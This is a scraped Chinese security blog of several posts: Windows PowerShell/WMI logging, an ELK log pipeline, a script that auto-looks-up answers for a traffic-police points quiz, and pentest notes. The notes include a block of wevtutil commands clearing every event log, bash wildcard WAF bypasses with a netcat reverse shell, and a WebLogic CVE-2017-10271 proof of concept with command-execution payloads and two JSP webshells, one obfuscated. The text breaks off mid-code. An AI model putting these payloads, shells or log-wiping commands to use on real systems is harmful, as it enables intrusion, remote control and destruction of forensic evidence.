HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging = 1

查看powershell事件记录id4103可以看到具体执行的命令


同时sysmon也检测到了

PowerShell 5.0支持Windows 7/2008 R2及更高版本的操作系统。虽然PowerShell 5.0的许多增强日志记录功能都被反向移植到4.0版,但还是建议在所有Windows平台上安装PowerShell 5.0。 PowerShell 5.0包含4.0中未提供的功能,包括可疑的脚本块日志记录。

对策就是需要使用powershell攻击的话,采用降级powershell最靠谱的方式

win7升级powershell
https://docs.microsoft.com/en-us/powershell/wmf/overview

下载适合的版本,打补丁的时候如果失败可以考虑退出杀软

4. 开启wmi记录

fireeye的大佬写了一个来记录
https://github.com/realparisi/WMI_Monitor
使用方式

Import-Module .\WMIMonitor.ps1
New-EventSubscriberMonitor 


日志记录在应用程序中,以wsh事件id为8的事件


注意:在使用脚本之前,必须以管理员身份运行PowerShell。该脚本需要PowerShell版本3或更高版本(最新版本为5),并将作为两个单独的PowerShell函数在其当前状态下运行。


参考
https://www.fireeye.com/blog/threat-research/2016/08/wmi_vs_wmi_monitor.html
https://mp.weixin.qq.com/s/mhwLrXlxz8LzoieWsstGvQ
https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html

PS

如果把这些进程传递到某一集中中心,加上端口,服务,文件等等。再把文件和进程以及端口丢到ioc,再加上某些特征。是不是又是一个新的态势

BUt清理日志有wevtutil.exe 。以及大佬的技巧渗透技巧-Windows单条日志的删除

wevtutil.exe cl "ACEEventLog"
wevtutil.exe cl "Application"
wevtutil.exe cl "HardwareEvents"
wevtutil.exe cl "Internet Explorer"
wevtutil.exe cl "Key Management Service"
wevtutil.exe cl "Media Center"
wevtutil.exe cl "Microsoft-Windows-API-Tracing/Operational"
wevtutil.exe cl "Microsoft-Windows-AppID/Operational"
wevtutil.exe cl "Microsoft-Windows-Application-Experience/Problem-Steps-Recorder"
wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant"
wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter"
wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory"
wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Telemetry"
wevtutil.exe cl "Microsoft-Windows-AppLocker/EXE and DLL"
wevtutil.exe cl "Microsoft-Windows-AppLocker/MSI and Script"
wevtutil.exe cl "Microsoft-Windows-Audio/CaptureMonitor"
wevtutil.exe cl "Microsoft-Windows-Audio/Operational"
wevtutil.exe cl "Microsoft-Windows-Authentication User Interface/Operational"
wevtutil.exe cl "Microsoft-Windows-Backup"
wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Admin"
wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Operational"
wevtutil.exe cl "Microsoft-Windows-Bits-Client/Operational"
wevtutil.exe cl "Microsoft-Windows-Bluetooth-MTPEnum/Operational"
wevtutil.exe cl "Microsoft-Windows-BranchCache/Operational"
wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Operational"
wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Operational"
wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Client/Operational"
wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Server/Operational"
wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Operational"
wevtutil.exe cl "Microsoft-Windows-DeviceSync/Operational"
wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Admin"
wevtutil.exe cl "Microsoft-Windows-DhcpNap/Admin"
wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Admin"
wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Operational"
wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Operational"
wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Operational"
wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scheduled/Operational"
wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Admin"
wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Operational"
wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Operational"
wevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Operational"
wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Operational"
wevtutil.exe cl "Microsoft-Windows-DiskDiagnostic/Operational"
wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticDataCollector/Operational"
wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticResolver/Operational"
wevtutil.exe cl "Microsoft-Windows-DriverFrameworks-UserMode/Operational"
wevtutil.exe cl "Microsoft-Windows-EapHost/Operational"
wevtutil.exe cl "Microsoft-Windows-EventCollector/Operational"
wevtutil.exe cl "Microsoft-Windows-Fault-Tolerant-Heap/Operational"
wevtutil.exe cl "Microsoft-Windows-FMS/Operational"
wevtutil.exe cl "Microsoft-Windows-Folder Redirection/Operational"
wevtutil.exe cl "Microsoft-Windows-Forwarding/Operational"
wevtutil.exe cl "Microsoft-Windows-GroupPolicy/Operational"
wevtutil.exe cl "Microsoft-Windows-Help/Operational"
wevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel/Operational"
wevtutil.exe cl "Microsoft-Windows-HomeGroup Listener Service/Operational"
wevtutil.exe cl "Microsoft-Windows-HomeGroup Provider Service/Operational"
wevtutil.exe cl "Microsoft-Windows-IKE/Operational"
wevtutil.exe cl "Microsoft-Windows-International/Operational"
wevtutil.exe cl "Microsoft-Windows-International-RegionalOptionsControlPanel/Operational"
wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Operational"
wevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Admin"
wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Operational"
wevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Operational"
wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Operational"
wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Errors"
wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Operational"
wevtutil.exe cl "Microsoft-Windows-Known Folders API Service"
wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Operational"
wevtutil.exe cl "Microsoft-Windows-MCT/Operational"
wevtutil.exe cl "Microsoft-Windows-MemoryDiagnostics-Results/Debug"
wevtutil.exe cl "Microsoft-Windows-MUI/Admin"
wevtutil.exe cl "Microsoft-Windows-MUI/Operational"
wevtutil.exe cl "Microsoft-Windows-NCSI/Operational"
wevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/Operational"
wevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/WHC"
wevtutil.exe cl "Microsoft-Windows-NetworkLocationWizard/Operational"
wevtutil.exe cl "Microsoft-Windows-NetworkProfile/Operational"
wevtutil.exe cl "Microsoft-Windows-NlaSvc/Operational"
wevtutil.exe cl "Microsoft-Windows-NTLM/Operational"
wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Operational"
wevtutil.exe cl "Microsoft-Windows-ParentalControls/Operational"
wevtutil.exe cl "Microsoft-Windows-PeopleNearMe/Operational"
wevtutil.exe cl "Microsoft-Windows-PowerShell/Operational"
wevtutil.exe cl "Microsoft-Windows-PrintService/Admin"
wevtutil.exe cl "Microsoft-Windows-ReadyBoost/Operational"
wevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Operational"
wevtutil.exe cl "Microsoft-Windows-Recovery/Operational"
wevtutil.exe cl "Microsoft-Windows-ReliabilityAnalysisComponent/Operational"
wevtutil.exe cl "Microsoft-Windows-RemoteApp and Desktop Connections/Admin"
wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Admin"
wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Operational"
wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Detector/Operational"
wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Resolver/Operational"
wevtutil.exe cl "Microsoft-Windows-Resource-Leak-Diagnostic/Operational"
wevtutil.exe cl "Microsoft-Windows-RestartManager/Operational"
wevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Operational"
wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Admin"
wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational"
wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Admin"
wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Operational"
wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Operational"
wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin"
wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational"
wevtutil.exe cl "Microsoft-Windows-TZUtil/Operational"
wevtutil.exe cl "Microsoft-Windows-UAC/Operational"
wevtutil.exe cl "Microsoft-Windows-UAC-FileVirtualization/Operational"
wevtutil.exe cl "Microsoft-Windows-User Profile Service/Operational"
wevtutil.exe cl "Microsoft-Windows-VDRVROOT/Operational"
wevtutil.exe cl "Microsoft-Windows-VHDMP/Operational"
wevtutil.exe cl "Microsoft-Windows-WER-Diag/Operational"
wevtutil.exe cl "Microsoft-Windows-WFP/Operational"
wevtutil.exe cl "Microsoft-Windows-Windows Defender/Operational"
wevtutil.exe cl "Microsoft-Windows-Windows Defender/WHC"
wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurity"
wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall"
wevtutil.exe cl "Microsoft-Windows-WindowsBackup/ActionCenter"
wevtutil.exe cl "Microsoft-Windows-WindowsSystemAssessmentTool/Operational"
wevtutil.exe cl "Microsoft-Windows-WindowsUpdateClient/Operational"
wevtutil.exe cl "Microsoft-Windows-Winlogon/Operational"
wevtutil.exe cl "Microsoft-Windows-WinRM/Operational"
wevtutil.exe cl "Microsoft-Windows-Winsock-WS2HELP/Operational"
wevtutil.exe cl "Microsoft-Windows-Wired-AutoConfig/Operational"
wevtutil.exe cl "Microsoft-Windows-WLAN-AutoConfig/Operational"
wevtutil.exe cl "Microsoft-Windows-WPD-ClassInstaller/Operational"
wevtutil.exe cl "Microsoft-Windows-WPD-CompositeClassDriver/Operational"
wevtutil.exe cl "Microsoft-Windows-WPD-MTPClassDriver/Operational"
wevtutil.exe cl "Microsoft-Windows-Sysmon/Operational"
wevtutil.exe cl "ODiag"
wevtutil.exe cl "OSession"
wevtutil.exe cl "Security"
wevtutil.exe cl "Setup"
wevtutil.exe cl "System"
wevtutil.exe cl "Windows PowerShell"

最好的方法还是集中化啊。比如利用beat对系统进行监控

关于半自动刷某交警答题赢积分

发布时间:July 27, 2018 // 分类:开发笔记,工作日志,代码学习,linux,python,生活琐事 // 2 Comments

最近在为了被扣分的事情一直烦恼。朋友推荐XX交警答题赢积分可以处理交通违章扣分。

关于XX交警答题赢积分

XX交警答题赢积分可以处理交通违章扣分。

规则:

  1. 系统随机生成试题,在规定时间内答题正确率在90%以上可以获得1分。

  2. 每个驾驶证每天最多可获得1分,最高可获得6分。

  3. 答题所获积分可用于自主处理交通违法时冲抵所绑定的轻微交通违法记分。

  4. 冲抵交通违法记分后,答题积分小于6分时,可以继续答题获得积分。

  5. 如系统监控到采用非法手段获取答题积分的,将被列为不诚信人员黑名单库,禁止使用答题积分功能,非法获得的积分将予以清除。

发现确实是一个好东西。但是我这种科目一过了就再也没有看过书的懒人来说.好多都答不上来。今天和一被扣分的同事说起,同事提示说是不是可以做一个类似题库的东西来匹配对应的东西。就类似于抓取题目来匹配自身有的答题库。想了一下,应该是可以的。

简单的思路就是:首先我们可以通过截屏,通过剪切特定区域的图片,然后通过ocr来识别里面的文字。再根据文字去搜索,在某些在线提供的题库应该可以匹配到具体的内容。

首先截屏,因为我是安卓手机,所以就非常方便了。

adb shell screencap -p /sdcard/screenshot.png
adb pull /sdcard/screenshot.png .

就可以把图片拉回到本地了。前提是手机需要开启开发者选项的USB调试功能。不同的手机开启方式不一样,具体自己去百度。

拿到图片以后对图片进行剪切。获取特定区域内的地址。主要是为了去除手机顶上的那些标志。在ocr识别的时候排出干扰项。

# 切割题目+选项区域,左上角坐标和右下角坐标,自行测试分辨率
    combine_region = "10, 250, 1050, 1400".replace(' ','').split(',')
    combine_region = list(map(int, combine_region))
    region_im = image.crop((combine_region[0], combine_region[1], combine_region[2], combine_region[3]))

    img_byte_arr = io.BytesIO()
    region_im.save(img_byte_arr, format='PNG')

    image_data = img_byte_arr.getvalue()

这里使用的是百度OCR API ,在 https://cloud.baidu.com/product/ocr 上注册新建应用即可
python需要安装baidu-aip
然后调用 百度OCR API去识别里面的文字

    response = client.basicGeneral(image_data)
    words_result = response['words_result']

    texts = [x['words'] for x in words_result]

因为选项里面必定有A:开始,所以一旦发现了A:就必定是选项开始。识别的ocr里面没有图片,避免了干扰

    if len(choices)>2:

        # 处理出现问题为两行或三行
        if str(choices[1]).find("A:") !=-1:
            print "quest"
            question += choices[0]
            choices.pop(0)
        elif "A:" in str(choices[2]):
            question += choices[0]
            question += choices[1]
            choices.pop(0)
            choices.pop(0)

    answer = ""
    for x in choices:
        answer += x +"\n"

    print("获取的问题:")
    print(question)
    print("提供的选项:")
    print(answer)

然后把问题和答案组合起来,丢到百度里面去搜索,然后取第一个url来匹配,因为搜索里面,越靠前的可信度比较高。考虑到搜索里面的tiba.jsyks.com匹配度比较高,暂时全部丢里头查询了。

'''
获取的答案信息不全部是A/B/C/D,也有对错的部分
'''
def get_answer_tiba(url):
    info = ""
    try:
        resp = requests.get(url,headers=headers, verify=False)
        soup = BeautifulSoup(resp.content, "lxml")
        html=soup.find_all('div', id="question")
        if html:
            pattern = re.compile(r'</span>(.*?)<br/>(.*?)<br/>(.*?)<br/>(.*?)<br/><br/>(.*?)<u>(.*?)</u></h1>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
            content = pattern.findall(str(html[0]))
            for x in content[0]:
                info+=x+"\n"
            print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
            print info.replace(":\n",": ").strip("\n")

    except Exception as e:
        if "list index out of range" in str(e):
            try:
                pattern = re.compile(r'</strong>(.*?)<br/>(.*?)<br/>(.*?)<br/>(.*?)<br/><br/>(.*?)<u>(.*?)</u></h1>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
                content = pattern.findall(str(html[0]))
                for x in content[0]:
                    info+=x+"\n"
                print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
                print info.replace(":\n",": ").strip("\n")
            except Exception as e:
                pattern = re.compile(r'<br/>(.*?)<u>(.*?)</u>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
                content = pattern.findall(str(html[0]))
                for x in content[0]:
                    info+=x+"\n"
                print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
                print info.replace(":\n",": ").strip("\n")

def get_baidu(keyword):
    url = "http://www.baidu.com/s?ie=utf-8&f=8&wd=site%3Atiba.jsyks.com%20"+keyword
    url2 = ""
    equid = re.compile(r'bds\.comm\.eqid = \"(.*?)\"', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    geturl = re.compile(r'

<

div class=\"f13\"><a target=\"_blank\" href=\"(.*?)\" class=\"c-showurl\" style=\"text-decoration:none;', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    try:
        resp = requests.get(url,headers=headers, verify=False)
        beqid = equid.findall(resp.content)
        #print beqid[0]
        burl = geturl.findall(resp.content)
        if  len(burl)>0:
            url2 = burl[0]+"&wd=&eqid="+str(beqid[0])
            realurl = re.compile(r"URL='(.*?)'", re.IGNORECASE | re.DOTALL | re.MULTILINE)
            try:
                resp1 = requests.get(url2,headers=headers, verify=False)
                realurl = realurl.findall(resp1.content)
                if len(realurl)>0:
                    print(realurl[0])
                    get_answer_tiba(realurl[0])
                    #return realurl[0]
            except Exception as e:
                print str(e)
                pass
        else:
            print(Fore.RED + "好像没有找到答案,估计要认命了^_^\n那么就随便选择一个呗。无法了" + Fore.RESET)
    except Exception as e:
        print str(e)
        pass

效果如下


单图片识别的效果

PS:为啥不搞成自动点击得.因为有些题目得图片不一样,问题和答案都是一样得。会造成很高得误报。

警告⚠️:
本文仅仅做技术研究。请参考第五条
如系统监控到采用非法手段获取答题积分的,将被列为不诚信人员黑名单库,禁止使用答题积分功能,非法获得的积分将予以清除。

思路跟前段时间的答题赢奖金差不多

利用RELK进行日志收集

发布时间:April 3, 2018 // 分类:开发笔记,运维工作,python // No Comments

前不久在做应急的总是遇到要求对日志进行分析溯源,当时就想到如果对常见的日志类进行解析后统一入库处理,然后在对相关的IP/URL进行统计归纳。对于溯源之类的很是方便。想到数据量比较大,又要便于分析,就想到了ELK.

搭建一套基于elk的日志分析系统。
系统centos 内存4G 双核

大概架构如此

1.elk搭建

wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.4.2.rpm
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.4.2-x86_64.rpm
wget https://artifacts.elastic.co/downloads/logstash/logstash-6.4.2.rpm

rpm -ivh elasticsearch-6.4.2.rpm 
sudo chkconfig --add elasticsearch
/etc/init.d/elasticsearch start

rpm -ivh kibana-6.4.2-x86_64.rpm 
/etc/init.d/kibana start
sudo chkconfig --add kibana

rpm -ivh logstash-6.4.2.rpm
cd /usr/share/logstash
ln -s /etc/logstash ./config

整个elk系统搭建好了,安装redis作为agent收集日志来作为logstash的输入源

wget http://download.redis.io/redis-stable.tar.gz
tar zxf redis-stable.tar.gz 
cd redis-stable
make && make install

修改redis.conf。

bind 0.0.0.0
protected-mode no
daemonize yes
maxclients 1000000

启动redis

sudo redis.conf /etc/
redis-server /etc/redis.conf

Logstash配置文件是JSON格式,放在/etc/logstash/conf.d 。 该配置由三个部分组成:输入,过滤器和输出。

input 数据输入端,可以接收来自任何地方的源数据。
file:从文件中读取
syslog:监听在514端口的系统日志信息,并解析成RFC3164格式。
redis:从redis-server list 中获取
beat:接收来自Filebeat的事件
Filter 数据中转层,主要进行格式处理,数据类型转换、数据过滤、字段添加,修改等,常用的过滤器如下。
grok: 通过正则解析和结构化任何文本。Grok 目前是logstash最好的方式对非结构化日志数据解析成结构化和可查询化。logstash内置了120个匹配模式,满足大部分需求。
mutate: 在事件字段执行一般的转换。可以重命名、删除、替换和修改事件字段。
drop: 完全丢弃事件,如debug事件。
clone: 复制事件,可能添加或者删除字段。
geoip: 添加有关IP地址地理位置信息。
output 是logstash工作的最后一个阶段,负责将数据输出到指定位置,兼容大多数应用,常用的有:
elasticsearch: 发送事件数据到 Elasticsearch,便于查询,分析,绘图。
file: 将事件数据写入到磁盘文件上。
mongodb:将事件数据发送至高性能NoSQL mongodb,便于永久存储,查询,分析,大数据分片。
redis:将数据发送至redis-server,常用于中间层暂时缓存。
graphite: 发送事件数据到graphite。http://graphite.wikidot.com/
statsd: 发送事件数据到 statsd。

编写logstash的配置文件。对所有的数据全盘接受,感谢Mosuan师傅的指导。

input {    
    redis {
        host => '127.0.0.1'
    port => 6379
        password => 'password'
        data_type => 'list'
        key => 'logstash:redis'
    }
}
output {
    elasticsearch { hosts => localhost }
    stdout { codec => rubydebug }
}

Logpara

一个对常见的web日志进行解析处理的粗糙DEMO。

Python 2.7 License

目标

  • 对被请求的URL进行解析,解析出是否常见的攻击方式
  • 对来访的IP进行深度解析,包含经纬度,物理地址
  • 对来访的UA进行深度解析,解析出设备,浏览器种类,是否爬虫
  • 把全部的日志解析了入库,做RELK处理

TO DO

  • 对入库elasticsearch的日志进行处理并展示

Useage

  • 使用之前先修改common/units.py

    redis_host = '192.168.87.222'
    redis_port = 6379
    redis_pass = 'cft67ygv'
    redis_db = 0
    redis_key = 'logstash:redis'
    
  • 使用
Usage: main.py --type IIS|Apache|Tomcat|Nginx --file file|directory

log parser

Options:
  -h, --help   show this help message and exit
  --type=TYPE  chose which log type
  --file=FILE  chose file or directory

脚本地址:https://github.com/0xa-saline/Logpara

导入后的结果类似


单个查看

如果基于nginx还可以收集post数据,在溯源取证以及日志分析都是有很好的帮助。

Bash通配符在命令执行中的应用

发布时间:February 25, 2018 // 分类:运维工作,linux // No Comments

主要是在和基友讨论一个绕过的时候遇到了.后来翻东西的时候发现已经有国外的大神对此已经发布过类似的东西了.既然如此,记录下呗,权当搬运工

首先关于bash通配符

其中的?是匹配一个任意字符.也就是说如果我们平时执行的是cat /etc/passwd可以用?来替代

首先来试试常见的ls

root@bee-box:~# which ls
/bin/ls
root@bee-box:~# echo /???/?s
/bin/ls /bin/ps /sys/fs
root@bee-box:~#

可以用/???/?s来取代.类似的cat也是可以用/???/??t或者/???/c?t等来查找到.如果在绕waf的过程里面应该是可以直接拿出来用的.

root@bee-box:~# echo /???/c?t
/bin/cat
root@bee-box:~# echo /???/??t
/bin/cat /dev/net /etc/apt /etc/opt /etc/rmt /var/opt

试试常见的cat /etc/passwd
我们用/???/??t /???/??ss??来替换

效果直接执行差别不是很大

然而实际上我们测试那个waf的时候发现超过了4个?就不行了

直接上nc的时候就可以换成了

/???/?c -e /???/b??h 2130706433 7088

另外附上一些tips
1.bash不仅仅可以允许连接路径.命令也是可以的。比如在linux里面'可以用来分割字符.
2.\是一个转义的作用而已.不过依旧可以用来替换'

$ /bin/cat /etc/passwd
$ /bin/cat /e'tc'/pa'ss'wd
$ /bin/c'at' /e'tc'/pa'ss'wd
$ /b'i'n/c'a't /e't'c/p'a's's'w'd'
$ c\a\t /et\c/passwd

Weblogic(CVE-2017-10271)漏洞复现 附POC

发布时间:December 26, 2017 // 分类:开发笔记,linux,windows,python // No Comments

最近的CVE-2017-10271也是引起了一个小风波。趁着刚好有空就也测试了一下.测试环境是基于docker的.实际地址是:
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

注意的是,在发送请求的时候,在请求头中必带Content-Type: text/xml,否则是无法请求成功的。
文件上传:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.101:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 582

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter"> 
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/poacher.txt</string><void method="println">
                        <string>Weblogic By:Poacher</string></void><void method="close"/>
                    </object>
                </java>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

命令执行(猥琐命令回显方法)

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="1">
                      <void index="0">
                        <string>calc</string>
                    </void>
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>

得说一下这里是使用的ProcessBuilder类进行的本地命令调用的。所以如果需要修改命令的话就得吧对应的参数修改了。以上的poc是弹计算器的。验证一下。

接下来说一下猥琐的命令回显的一个小方法。但是有前提的。前提是足够写入权限。
可以通过执行命令的方式进行一个回显。如Windows下的命令:ipconfig >> c:\1.txt 就可以将ipconfig的结果存放到了c:\1.txt下。我们也可以如此。接下来修改下POC:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="5">
                      <void index="0">
                        <string>cmd</string>
                    </void>
                    <void index="1">
                        <string>/c</string>
                    </void>    
                    <void index="2">
                        <string>ipconfig</string>
                    </void>        
                    <void index="3">
                        <string>>></string>
                    </void>    
                    <void index="4">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt</string>
                    </void>        
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>

注意:在<array class="java.lang.String" length="5">这里的长度需要对照着下边所传的参数填写。array内的void有多少个那么长度就为多少。还有void内的index是从0开始填写。输出的路径为上面所填写即直接输出到了weblogic对应目录下了。以上组成的命令就是为:cmd /c ipconfig >> servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt,可以测试一下:

访问:http://www.xxxxx.cn:7001/wls-wsat/ipconfig.txt

发一个可以直接getshell的利用

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println">
                    <string><![CDATA[<%if("023".equals(request.getParameter("pwd"))){  
                        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();  
                        int a = -1;  
                        byte[] b = new byte[2048];  
                        out.print("<pre>");  
                        while((a=in.read(b))!=-1){  
                            out.println(new String(b));  
                        }  
                        out.print("</pre>");} %>]]></string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

另外附上一个其他的payload

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
        <java version="1.4.0" class="java.beans.XMLDecoder">
                <object class="java.io.PrintWriter">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string>
                        <void method="println"><string>&#60;&#37;@&#32;p&#97;ge&#32;l&#97;ngu&#97;ge&#61;&#34;j&#97;v&#97;&#34;&#32;p&#97;ge&#69;n&#99;oding&#61;&#34;g&#98;k&#34;&#37;&#62;&#60;jsp&#58;dire&#99;tive&#46;p&#97;ge&#32;import&#61;&#34;j&#97;v&#97;&#46;io&#46;&#70;ile&#34;&#47;&#62;&#60;jsp&#58;dire&#99;tive&#46;p&#97;ge&#32;import&#61;&#34;j&#97;v&#97;&#46;io&#46;&#79;utput&#83;tre&#97;m&#34;&#47;&#62;&#60;jsp&#58;dire&#99;tive&#46;p&#97;ge&#32;import&#61;&#34;j&#97;v&#97;&#46;io&#46;&#70;ile&#79;utput&#83;tre&#97;m&#34;&#47;&#62;&#60;&#37;&#32;int&#32;i&#61;&#48;&#59;&#83;tring&#32;method&#61;request&#46;get&#80;&#97;r&#97;meter&#40;&#34;&#97;&#99;t&#34;&#41;&#59;if&#40;method&#33;&#61;null&#38;&#38;method&#46;equ&#97;ls&#40;&#34;yo&#99;o&#34;&#41;&#41;{&#83;tring&#32;url&#61;request&#46;get&#80;&#97;r&#97;meter&#40;&#34;url&#34;&#41;&#59;&#83;tring&#32;text&#61;request&#46;get&#80;&#97;r&#97;meter&#40;&#34;sm&#97;rt&#34;&#41;&#59;&#70;ile&#32;f&#61;new&#32;&#70;ile&#40;url&#41;&#59;if&#40;f&#46;exists&#40;&#41;&#41;{f&#46;delete&#40;&#41;&#59;}try{&#79;utput&#83;tre&#97;m&#32;o&#61;new&#32;&#70;ile&#79;utput&#83;tre&#97;m&#40;f&#41;&#59;o&#46;write&#40;text&#46;get&#66;ytes&#40;&#41;&#41;&#59;o&#46;&#99;lose&#40;&#41;&#59;}&#99;&#97;t&#99;h&#40;&#69;x&#99;eption&#32;e&#41;{i&#43;&#43;&#59;&#37;&#62;&#48;&#60;&#37;}}if&#40;i&#61;&#61;&#48;&#41;{&#37;&#62;&#49;&#60;&#37;}&#37;&#62;&#60;form&#32;&#97;&#99;tion&#61;&#39;&#63;&#97;&#99;t&#61;yo&#99;o&#39;&#32;method&#61;&#39;post&#39;&#62;&#60;input&#32;size&#61;&#34;&#49;&#48;&#48;&#34;&#32;v&#97;lue&#61;&#34;&#60;&#37;&#61;&#97;ppli&#99;&#97;tion&#46;get&#82;e&#97;l&#80;&#97;th&#40;&#34;&#47;&#34;&#41;&#32;&#37;&#62;&#34;&#32;n&#97;me&#61;&#34;url&#34;&#62;&#60;&#98;r&#62;&#60;text&#97;re&#97;&#32;rows&#61;&#34;&#50;&#48;&#34;&#32;&#99;ols&#61;&#34;&#56;&#48;&#34;&#32;n&#97;me&#61;&#34;sm&#97;rt&#34;&#62;</string></void><void method="close"/>
                </object>
        </java>
</java>
</work:WorkContext>
</soapenv:Header><soapenv:Body/></soapenv:Envelope>

因为所有的都是基于servers/AdminServer/tmp/下可写的情况下的.不过作为验证需要利用非有害请求的方式,写了某框架的插件.借助dns来验证是否存在.如果不存在再考虑写文件的方式.

    def verify_shell(self):
        import re
        exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=self.option.url))
        random_file = str(randint(10000000,99999999))
        payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
